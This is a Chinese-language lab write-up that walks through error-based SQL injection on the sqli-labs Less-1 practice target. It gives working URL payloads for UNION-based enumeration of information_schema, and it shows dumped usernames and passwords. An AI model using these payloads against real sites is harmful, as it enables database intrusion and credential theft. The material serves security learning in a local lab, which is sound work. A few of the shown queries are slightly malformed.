標籤:erro 是什麼 情況下 5.5 nta err mat near data
預備知識
對mysql資料庫有一定瞭解;對基本的sql語句有所瞭解;
對url編碼有瞭解:空格=‘%20’,單引號=‘%27’,雙引號=‘%22’,井號=‘%23’等
基本步驟
1. 判斷是什麼類型注入,有沒有過濾關鍵字,是否能繞過
2. 確定存在注入的表的列數以及表中資料那些欄位可以顯示出來
3. 擷取資料庫版本,使用者,當前串連的資料庫等資訊
4. 擷取資料庫中所有表的資訊
5. 擷取某個表的欄欄位資訊
5. 擷取相應表的資料
Less1,基於錯誤的GET單引號字元型注入。
(單引號,and 1=1,and 1=2,)
http://127.0.0.1/sqli/Less-1/?id=2%27(寬位元組注入)
錯誤提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2‘‘ LIMIT 0,1‘ at line 1
此時的注入語句為: SELECT * FROM users WHERE id=‘2‘‘ LIMIT 0,1 (報單引號不匹配的錯)
注釋符常用的有兩種:
1. -- ‘ 一定要注意在最後一個單引號前面有空格
2. # (空格#空格)
第二步確定表的列數:
使用order by 語句。
當試到‘4‘時,出現報錯資訊,可以知道該表有3列:
Unknown column ‘4‘ in ‘order clause‘
執行的sql語句是:SELECT * FROM users WHERE id=‘2‘ order by 4 -- ‘‘ LIMIT 0,1
第三步,確定欄位的顯示位:
顯示位:表中資料第幾位的欄位可以 顯示,因為並不是所有的查詢結果都 會展示在頁面中,因此需要探測頁面 中展示的查詢結果是哪一列的結果; ‘union select 1,2,3 – ’ 通過顯示的數字可以判斷那些欄位可以顯示出來。
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3 -- ‘
可見2,3所在的欄位可以顯示
ps:id=-1,使用-1是為了使前一個sql語句所選的內容為空白,從而便於後面的select語句顯示資訊
第四步擷取當前資料庫資訊
現在只有兩個欄位可以顯示資訊,顯然在後面的查詢資料中,兩個欄位是不夠用,可以使用group_concat ()函數(可以把查詢出來的多行資料連線起來在一個欄位中顯示)
database()函數:查看當前資料庫名稱
version()函數:查看資料庫版本資訊
user():返回當前資料庫連接使用的使用者
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,database()或者version()),3 -- ‘
Your Login name:security5.5.53
Your Password:3
可以知道當前資料庫名為security,資料庫版本為5.5.53
第五步,擷取全部資料庫資訊(表,列資訊)
Mysql有一個系統的資料庫information_schema,裡面儲存著所有資料庫的相關資訊,使用該表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1, group_concat(schema_name),3 from information_schema.schemata -- ‘ 爆出所有資料庫名字
以上命令可以擷取到了所有的資料庫資訊 information_schema ,security(是例題中的資料庫資訊)
第六步:擷取security資料庫中的表資訊
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,table_name,3 from information_schema.tables where table_schema=‘security‘ -- ‘(一般情況下要最好將security使用16進位hex編碼轉換。轉換後記得要加0x)
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= ‘資料庫的名‘ table_name 表資訊
第七步:擷取user表的列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,column_name,3 from information_schema.columns where table_name=‘users‘ limit0,1 -- ‘(users最好轉換,I春秋上介紹,這句話的意思是查詢information_schema資料庫中columns表裡的column_name欄位(就是表最上面的標題)。條件是table_name為user
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
執行的sql語句是:SELECT * FROM users WHERE id=‘-1‘ union select 1,column_name, ,3 from information_schema.columns where table_name=‘users‘ -- ‘‘ LIMIT 0,1 這個一般都要加,加上去改變數字會導致不同
第八步:擷取資料
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,username,password,3 from users -- ‘
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy [email protected], secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3
Writeup,我要先查到注入類型跟注入點,然後用order by 查詢整個大資料庫裡表的列數,database()顯示的是當前頁面所使用的資料庫名稱,shecm這個是mysql5.0版本之後特有的一個資料庫,他包含了整個大資料庫裡所有資料庫的表名跟列名。然後用union select 1,2,3…查列顯示位置是多少。然後擷取當前資料庫的名字:union select 1,database()(寫在顯示位),3 –- ‘;得到當前資料庫名稱後,要找到當前資料庫所有表資訊,然後對指定想要擷取的資料庫擷取資料庫表資訊(第六步),然後擷取指定表下面的列資訊 union select 列 from 表
第二篇:
Information_schema:儲存mysql資料庫下所有資料庫的表名和列名資訊的內建資料庫
information_schema.schemata:儲存mysql資料庫下所有資料庫的庫名資訊的表 (欄位名為 schema_name的欄位值) 欄位就是列名
information_schema.tables:儲存mysql資料庫下所有資料庫的表名資訊的表 (欄位名為 table_name:表名
條件為 table_schema:資料庫名 )
information_schema.columns:儲存mysql資料庫下所有資料庫的列名資訊的表 (欄位名為column_name:的欄位值))
cookie注入:burp裡截取到使用者COOKIE後,將ID=多少再referer中cookie後面加分號之後填寫上去,再寫入命令。
基礎SQL注入